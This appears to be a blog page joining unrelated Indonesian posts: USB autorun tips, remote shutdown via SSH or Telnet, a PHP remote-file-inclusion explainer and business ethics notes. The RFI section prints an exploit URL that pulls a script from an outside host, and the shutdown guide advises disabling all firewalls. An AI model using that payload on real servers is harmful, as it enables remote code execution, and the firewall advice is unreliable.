• Untuk file ICON dari PCMAV, Penulis extract dari file PCMAV-CLN.EXE, yang mana ICON file tersebut juga ditempatkan pada Root Flash Disk. Anda bisa menghilangkan/menghapus baris “icon=PCMAV.ICO” yang digunakan untuk memunculkan ICON File PCMAV sebagai Icon penanda Flash Disk seperti pada screenshot di atas. Baris rujukan ICON ini tidak mempengaruhi proses AutoRun. Namun bila Anda menginginkan PCMAV ICON tersebut, Anda bisa mendownloadnya dengan klik link ini.
• Baris-baris INF tersebut bisa Anda modifikasi sesuai selera tulisan Anda, yang penting path file Anda tidak salah; file tujuan Anda rujuk secara relatif.
• Jangan Lupa, untuk menghindari terhapusnya file dengan begitu mudahnya, sebaiknya sembunyikan saja File Anti Virus berserta library file pendukungnya (bila ada) maupun file “autorun.inf”nya dengan mengeset File Attributnya dengan “hidden” dan bila perlu “system”. Satu rekomendasikan lagi, alangkah baiknya, semua File tersebut Set File Attributenya menjadi “Read Only” agar, secara sederhana, tidak bisa termodifikasi.

Untuk keperluan setting modifikasi File Attribute terbut Anda bisa melakukannya dengan Select All files yang akan disembunyikan, lalu klik kanan file-file tersebut, pilik dan klik “properties”, dan beri tanda centang pada check box “hidden. Sedang untuk set menjadi “system”, Anda bisa menggunakan Windows ATTRIB.EXE di lingkungan kerja DOS atau Anda bisa juga menggunakan Attribute Changer yang berlingkungan kerja GUI. Q = Lho, katanya ga pake tool ya? A = untuk mudahnya, gunakan Attribute Changer bila ATTRIB.EXE dirusak/dihapus Virus/Admin dan Anda malas untuk extract dari Windows CAB.

Semoga bermanfaat

Source: old article from my hardisk (unknown)

Setelah terkoneksi untuk mematikan komputer pun tidak sulit karena hanya dibutuhkan beberapa baris command yang mudah. Oleh karena itu marilah kita lihat lebih jauh lagi bagaimana cara untuk mematikan komputer melalui service ssh maupun telnet.

A. System Requirements

1.      Operating System yang mendukung networking. Dalam project ini kami menggunakan Windows XP.

2.      2 network interface card.

3.      Kabel LAN dengan jack RJ-45.

4.      Menggunakan Peer to Peer connection.

B. Langkah-langkah mengaktifkan telnet server:
Pada dasarnya setiap windows XP sudah terdapat services telnet namun services ini tidak diaktifkan.

1.      Buka Control Panel, pilih Administration Tools, pilih Services.

2.      Cari telnet services buka dengan klik dua kali.

3.      Aktifkan telnet service pada modus automatic sehingga saat komputer direstart service   ini pun tetap aktif.

4.      Karena kita tidak ingin melakukan restart lakukan pengaktifan telnet service dengan mengetik start.

C. Langkah-langkah mengaktifkan ssh server:
Linux yang kita gunakan adalah versi debian ubuntu pada linux versi ini ssh-server tidak terdapat dalam sistem, oleh karena itu dibutuhkan penginstallan aplikasi ini.

1.      Pastikan komputer terkoneksi dengan internet.

2.      sudo apt-get update (untuk mengupdate repisotory)

3.      sudo apt-get install openssh-server.

D. Langkah-langkah mempersiapkan telnet client.

1.      Untuk windows cukup mengaktifkan command prompt di dalam windows.

2.      Untuk linux cukup mengaktikan terminal melalui start menu program.

E. Langkah-langkah mempersiapkan ssh client.

1.      Untuk linux buka terminal melalui start menu program.

2.      Untuk windows dapat menggunakan program tambahan semisal putty.

F. Mekanisme kerja:
Konsep yang perlu diperhatikan adalah:

1.      SSH terdiri dari dua jenis yaitu ssh-server dan ssh-client.

2.      Telnet terdiri dari dua jenis yaitu telnet-server dan telnet-client.

3.      Ssh-server hanya dapat berjalan di pc berbasis linux.

4.      Telnet-server hanya dapat berjalan di pc berbasis windows.

5.      Basic command dari ssh mirip dengan basic comand di terminal linux.

6.      Basic command dari telnet mirip dengan basic command di command prompt windows.

7.      Ssh-client dapat berjalan di linux cukup dengan menggunakan terminal dari linux itu sendiri.

8.      Ssh-client dapat berjalan di windows dengan menggunakan program tambahan putty.

 9.      Telnet-client dapat berjalan di linux cukup dengan menggunakan terminal dari linux itu sendiri.

10.  Telnet-client dapat berjalan di windows dengan menggunakan command prompt dari windows itu sendiri.

G. Mematikan komputer melalui service ssh.
Pada konsepnya adalah sebagai berikut
Komputer 1 > Komputer 2
Ssh-client Ssh-server
Komputer 1 akan mencoba untuk mematikan komputer 2 oleh karena itu berikut beberapa prinsip:

1.      Ssh-client dapat berupa windows ataupun linux.

2.      Ssh-server hanya dapat dijalankan di linux.

Step melalui terminal linux:

1.      Buka terminal linux.

2.      Ketikan ssh user_name@ip_address

3.      Masukkan password

4.      Ketikkan sudo shutdown –h now

Penjelasan:

1.      user_name adalah user name yang dipakai di komputer linux yang akan dimatikan

2.      ip_address adalah alamat ip yang dipakai di komputer linux yang akan dimatikan.

3.      sudo menyatakan diri kita sebagai root atau administrator yang berhak.

4.      –h menyatakan untuk mematikan keseluruhan sitem.

now menyatakan untuk mematikan pada saat command itu diexecute.

H. Mematikan komputer melalui service telnet.
Pada konsepnya adalah sebagai berikut.
Komputer 1 > Komputer 2
Telnet-client Telnet-server.
Komputer 1 akan mencoba untuk mematikan komputer oleh karena itu berikut beberapa prinsip:

1.      Telnet-client dapat berupa windows ataupun linux.

2.      Telnet-server hanya dapat dijalankan di windows.

3.      Step melalui command prompt windows.

4.      Buka terminal windows.

5.      Ketikan telnet ip_address;

6.      Masukkan password.

7.      Ketikkan shutdown –s

Penjelasan:

1.      user_name adalah user name yang di pakai di komputer 2 atau komputer windows yang akan dimatikan.

2.      Ip_address adalah alamat ip komputer yang akan dimatikan.

3.      –s menyatakan untuk mematikan komputer sekarang juga.

Kesimpulan

1.      Mematikan komputer melalui jarak jauh bukanlah hal yang sulit. Komputer yang akan dimatikan dalam konsep ini haruslah berbasiskan ipaddress karena telnet dan ssh hanya akan bekerja melalui ipaddress yang harus di set dimasing-masing komputer.

2.      telnet melalui ssh melalui port masing-masing 23 dan 22.

3.      Firewall dapat mematikan setiap destinasi port 23 dan 22 sehingga disarankan agar anda mematikan semua firewall yang aktif.

4.      Setiap komputer yang terkoneksikan kedalam jaringan internet dapat dimatikan melalui jarak jauh dengan mengarahkan ssh dan telnet ke ip address yang di konfigurasikan dalam hal ini ip address tersebut haruslah merupakan ip address public bukan ip address internal.

5.      Koneksi melalui internet dapat membahayakan jaringan anda maka disarankan jangan melalukan remote melalui jarak jauh apalagi melakukannya dengan telnet usahakanlah melakukannya jarang mungkin dan bukan di komputer public. Jika anda akan sering melakukannya anda dapat menggunakan jaringan yang bersifat private seperti VPN.

6.      Tidak semua komputer yang memiliki ip_address public dapat dikoneksikan melalui telnet dan ssh karena banyaknya router yang bersifat secure dengan tidak memperbolehkan koneksi dengan port tertentu.

Saran

1.      untuk menginstall aplikasi melalui apt-get yang terdapat dalam linux anda dapat menggunakan repisotory local seperti vlsm.org lakukan customisasi melalui /etc/apt/sources.list

2.      Linux ubuntu tidak dapat mendeteksi setiap hardware modem telephone oleh karena itu disarankan untuk mengecek kompatibilitas melalui live cd terlebih dahulu.

3.      Installasi linux dapat membuat windows anda hilang perhatikan baik-baik pilihan untuk mencustomize partisi anda hindari pemformatan yang tidak perlu. 

source: IlmuKomputer.com

Dalam artikel ini kita akan lebih banyak membahas bagaimana proses file inclusion (yang selanjutnya kita sebut dengan istilah ‘injeksi’) bisa terjadi dalam bahasa PHP.

BAGAIMANA BISA TERJADI?

Sebuah serangan file inclusion terjadi didasarkan pada kesalahan atau ketidaksengajaan pendeklarasian variabel-variabel dalam sebuah file. Sebuah variabel yang tidak dideklarasikan atau didefinisikan secara benar dapat di eksploitasi. Syarat terjadinya injeksi sendiri terdiri dari:

1. Variabel yang tidak dideklarasikan dengan benar (unsanitized variables)

Variabel dalam PHP mempunyai sintaks:

#1 include ($namavariable. “/file…”)
#2 require_once ($namavariable. /file…)
#3 include_once ($variable. /file…)

Misalnya kita memiliki sebuah file bernama jscript.php dan didalamnya terdapat variabel seperti ini:

…
include($my_ms[”root”].’/error.php’);
…

Variabel tersebut memiliki kemungkinan untuk disisipi file dari luar webserver dengan eksploit script injeksi PHP:

http://www.target.com/[Script Path]/jscript.php?my_ms[root]=http://www.injek-pake-kaki.com/script?

Diatas adalah contoh eksploitasi MySpeach < = v3.0.2 (my_ms[root])

2. Setting dalam file PHP.ini

#1. register_globals=On
#2. magic_quotes=off
#3. allow_fopenurl=on

BERBAHAYAKAH?

File inclusion memiliki level resiko tinggi (High Risk) bahkan level sangat berbahaya (Very Dangerous) karena injeksi memperkenankan pelakunya untuk melakukan eksekusi perintah jarak jauh (Remote Commands Execution) terhadap server. Tindakan ini sangat membahayakan bagi sebuah server jika pelakunya mencoba untuk mendapatkan hak akses lebih tinggi dengan cara melakukan eksploitasi lokal, sehingga bisa saja pelaku mendapatkan akses administrator atau root.

Secara garis besar resiko serangan ini adalah:

1. Web root folder / subdirectory defacing.
2. Previledge escalation (mendapatkan hak akses lebih tinggi).
3. Menjalankan proses dalam server (psyBNC, bots, dsb)
4. Pilfering a.k.a pencurian data (such as credentials information, credit cards, etc..)
5. Dan banyak lagi…!!! Termasuk tindakan pengambilalihan server dan ddos!

SISTEM OPERASI APA YANG KEBAL?

Saya teringat permainan C&C Generals (my fave game!) saat seorang hacker keluar dari barak. Mereka mengucapkan “NO SYSTEMS IS SAFE!”. Tepat sekali! Tidak ada sistem operasi yang aman dari serangan injeksi selama mereka menggunakan server side scripting yang dapat dieksploitasi, tak peduli apakah itu Microsoft Windows, LINUX, FreeBSD, Solaris, Darwin OS, dan lain-lainnya.

APA YANG HARUS DILAKUKAN?

Banyak sekali portal dan komunitas white hat yang sering merilis bugs terbaru seputar injeksi. Cara paling aman adalah selalu memperhatikan perkembangan yang mereka lakukan sehingga anda dapat melakukan sedikit perbaikan yang berarti terhadap CMS yang mungkin sekarang anda gunakan. Selalu perhatikan raw log yang biasanya terdapat pada layanan hosting anda. Jika terdapat fetching yang agak menyimpang seperti GET /index.php?page=http://www.injek-pake-kaki.net/cmd? anda wajib curiga, karena bisa saja ini serangan terhadap web atau portal yang anda kelola.

Salah satu tehnik paling aman bagi seorang administrator adalah selalu memperhatikan usaha-usaha infiltrasi dan usaha eksploitasi lokal. Gunakan firewall guna mencegah penyusupan orang-orang yang tidak bertanggung jawab dan memperhatikan port-port server yang sedang terbuka.

source: My Old Notepad File (anonymous)

1. Micro: berdasarkan norma individu yang terbentuk melalui pendidikan keluarga dan sekolah serta masyarakat
2. Meso: berdasarkan norma kolektif yang terbentuk dalam organisasi melalui penciptaan Corporate Culture
3. Macro: yang merupakan General Obligation pada level negara bangsa

PRINSIP PENERAPAN ETIKA BISNIS
1. When in Rome “ When we are in Rome we should behave as Romans do” Kebaikan: respect to local culture. Kelemahan: Ethical relativism
2. The Righteous American: menggunakan Standar norma Amerika. Kebaikan: Consistent. Kelemahan: Ethical Imperialism
3. No Ethical Standard. Kelemahan : Ethical Scepticism

MANFAAT DAN CAKUPAN ETIKA BISNIS
Manfaat: diharapkan mampu memperbaiki kualitas pengambilan keputusan dan pelaksanaan manajemen
Cakupan:
1. Perlindungan Lingkungan
2. Marketing, Truth and Advertising
3. Akuntansi dan Keuangan
4. Kepegawaian
5. Trade Secret & Insider Trading
6. Whistle Blowing
7. Diskriminasi dan Affirmative Action

MENGAPA BUSINESS ETHICS ?
Business Ethics dibutuhkan karena 3 alasan :
1. The Argument of Scandals yang dipicu oleh The Myth of Amoral Business: “ The meaning of Business is Business” dan tidak berdayanya hukum karena:
• Hukum selalu ketinggalan dari praktik
• Hukum selalu mengandung loopholes
• Legal tidak selalu Ethical
2. The Argument of Economization yang mengedepankan ekonomi sebagai panglima penciptaan kesejahteraan manusia. Pembangunan di bidang hukum dan pendidikan diabaikan akibat dianutnya neoliberalisme
3. The Argument of Challenges: bahwa ke depan bisnis penuh dengan tantangan berat berupa kesadaran konsumen & karyawan terhadap hak-haknya, kelestarian lingkungan, kejujuran , fairness dan CSR

KASUS ETIKA BISNIS:
Kasus Savings and Loans
Lembaga Keuangan non bank “ thrifts” bergerak dibidang pengadaan perumahan, dan dijamin oleh pemerintah federal melalui Asuransi. Pemerintah AS kemudian memperlonggar aturan sehingga kelebihan dananya ditanam disektor yang berisiko, atau memberikan bunga cukup tinggi. Akibatnya banyak thrift menderita rugi dan akhirnya bangkrut. Karena dijamin maka penabung tidak rugi. Kerugian ditutup dengan klaim asuransi yang berasal dari iuran pajak. Apakah ini fair ?

Kasus BCCI
Bank of Credit and Commerce International: didirikan oleh Agha Hasan Abedi banker dari Pakistan yang bisa meyakinkan Sheik Zayed dari Abu Dhabi untuk mendirikan Bank berpusat di Karachi dan beroperasi internasional khususnya untuk membantu masyarakat negara miskin. Karena kontrol pemerintah yang lemah maka akhirnya menjadi institusi Money Loundring untuk drugs, perdagangan senjata, dan akhirnya terjadi korupsi sehingga bankrut dengan kerugian 10 – 20 milyar doalr.
Masalah: penabung dari negara miskin menjadi korban

ETIKA AKUNTANSI
Etika Akuntansi, Auditing dan Perpajakan
Dalam Akuntansi Keuangan biasa dilakukan window-dressing dengan double book keeping
Dalam Auditing: terjadi conflict of interest pada diri akuntan yang cenderung memihak pada kepentingan manajemen, karena mereka yang membayar fees. Idealnya Akuntan Publik harus independen. Dalam bidang perpajakan dikenal : Tax Evasion dan Tax Avoidence

Dibidang Akuntansi Manajemen dalam Penganggaran pada perusahaan terdivisionalisasi terdapat istilah Slack Budget dengan “Motto”: It is better to promise too little and deliver more, than to promise too much and deliver less.
Slack Budget: perbedaan antara apa yang seharusnya dicapai dengan apa yang sungguh-sungguh diusulkan dalam anggaran

Tujuan Budget Slack: Target mudah dicapai (untuk pendapatan) dan ada pengaman( biaya).
Tujuan akhirnya: memperoleh insentif manajemen
Perilaku lain: menghabiskan anggaran biaya dengan tujuan agar anggaran periode berikutnya tidak dipotong dimana bila terjadi berarti terdapat Nonvalue Added Activities yang menimbulkan Nonvalue Added Costs bagi organisasi
Akibat selanjutnya: daya saing rendah.